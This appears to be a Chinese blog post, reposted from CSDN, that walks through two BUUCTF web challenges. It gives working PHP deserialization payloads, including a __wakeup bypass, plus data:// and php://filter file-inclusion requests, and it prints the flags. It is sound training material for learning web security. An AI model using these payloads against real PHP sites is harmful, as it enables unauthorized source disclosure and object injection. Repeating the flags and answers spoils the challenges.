BUUCTF-[极客大挑战 2019]PHP

[极客大挑战 2019]PHP

题目

image-20230628161508422

题解

进入靶场环境

image-20230628161653597

根据题目给我的提示,此网站存在备份,尝试爆破网站的目录

工具:dirmap

image-20230628161815996

爆破发现网站的备份文件,访问后,下载到本地,观察其内容

image-20230628161900037

发现flag.php,打开查看,发现并不是我们想要的内容,继续查看其他源码文件

image-20230628162013195

在index.php和class.php源代码中发现一些猫腻

index.php当中发现:

获取select参数通过get方式传递,并将获取的select参数的值进行反序列化处理

image-20230628162428650

在class.php当中:

定义了两个变量username和password

private(私有) :私有的类成员则只能被其定义所在的类访问

image-20230628162600896

源码:

<?php
include 'flag.php';


error_reporting(0);


class Name{
    
    
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
    
    
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
    
    
        $this->username = 'guest';
    }

    function __destruct(){
    
    
        if ($this->password != 100) {
    
    
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
    
    
            global $flag;
            echo $flag;
        }else{
    
    
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

发现 function __construct,function __wakeup(),function __destruct(),等多个序列化函数,那么肯定存在反序列化,通过以上代码发现,在index.php当中发现select通过get传参

补充:
常用的内置方法:
__construct():创建对象时初始化,当一个对象创建时被调用
__wakeup() 使用unserialize时触发 //反序列化
__sleep() 使用serialize时触发	//序列号
__destruction():结束时销毁对象,当一个对象销毁时被调用

反过来在观察class.php的代码,主要验证两个条件,username和password,username为admin,password为100

接下来进行序列号,将类实例化,进行序列化得到字符串

构造payload:

image-20230628173817620

代码:

<?php
class Name{
    
    
    private $username = 'admin';
    private $password = '100';
}
$name = new Name;
print(serialize($name));
//echo 输出也可以
//echo serialize($name)
?>

运行结果:

image-20230628173804982

将方框换成%00,方框url无法进行识别,如果不写会减少长度,无法达到目的;

O:4:"Name":2:{
    
    s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

但是还有一个函数,__wakeup()会将username重新赋值为“guest”,所以需要想办法将__wakeup()函数绕过

在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行
原本:O:4:"Name":2:{
    
    s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
绕过:O:4:"Name":3:{
    
    s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

绕过:
O:4:"Name":3:{
    
    s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
payload:
index.php?select=O:4:"Name":3:{
    
    s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

image-20230628193808329

成功获取flag

本题flag为:

flag{b18bb0c2-8084-4e65-a402-f1803a87f80d}

[ZJCTF 2019]NiZhuanSiWei

题目

image-20230628205551951

题解

打开靶场环境

image-20230628205730056

发现是网页的源码,经过分析可得,三个参数分别为text,file,password通过get方式进行传参,在if控制语句当中,设置text变量,并在文件当中读取数据,要等于welcome to the zjctf才会返回true

接下来就需要用到文件包含当中的php伪协议data构造payload

payload:
?text=data://text/plain,welcome to the zjctf

image-20230628210712158

通过第二个if控制语句,我们发现通过正则表达式过滤掉了flag,所有说file参数传入时,如果有flag出现就会被过滤掉,我们再根据下一句话,文件包含,我们尝试去获取useless.php 的源码,看是什么信息,再次构造payload

再次利用到了文件包含当中的php伪协议php://filter来获取源码信息

payload:
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

image-20230628212557348

获取成功后,是base64编码,我们接下来进行解码

解码后,得到代码

image-20230628212657275

 <?php

class Flag{
    
      //flag.php
    public $file;
    public function __tostring(){
    
    
        if(isset($this->file)){
    
    
            echo file_get_contents($this->file);
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }
    }
}
?>

我们在初始的源码当中发现了password参数被反序列化处理,那么我们将刚刚得到的解密得到的代码,进行序列化处理,赋值给password参数,进行反序列化

unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。

image-20230628212832060

序列化处理:

<?php

class Flag{
    
      //flag.php
    public $file="flag.php";		//需要将flag.php文件赋值给$file
    public function __tostring(){
    
    
        if(isset($this->file)){
    
    
            echo file_get_contents($this->file);
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }
    }
}
$passwd = new Flag;
echo serialize($passwd);

?>

输出结果为:

O:4:"Flag":1:{
    
    s:4:"file";s:8:"flag.php";}

image-20230628213048660

再次构造payload:

password参数进行反序列化处理
/?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

执行完成后,查看界面:

image-20230628213230224

查看网页源码:

image-20230628213249358

成功获取flag信息

本题flag为:

flag{1b3bf4a9-e129-4477-9e99-e9bc49c2d3c3}

总结:

第一:我们拿到靶场环境后,观察源代码,发现需要我们传递的参数,并且是get方式进行传递,所以可以直接在url当中操作(HackBar),根据代码分析,需要用到文件包含伪协议data://,进行获取数据,然后通过函数读取里面的字符串进行匹配是否相等
第二:根据if控制语句当中的函数发现flag被正则过滤掉,所以无法查找flag文件,这时候我们需要根据源码当中的提示进行访问读取useless.php 源码信息,这里又一次需要用到文件包含伪协议php://filter来读取源码,读取的字符串格式为base64编码,得到的字符串通过base64进行解密,得到代码。
通过观察源码当中的password参数,发现存在反序列化处理。将解密得到的源码,进行反序列化处理。从而得到password
注:unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。
第三:构造payload,拿到flag

文章不妥之处,欢迎批评指正!

猜你喜欢

转载自blog.csdn.net/rumil/article/details/131450999
今日推荐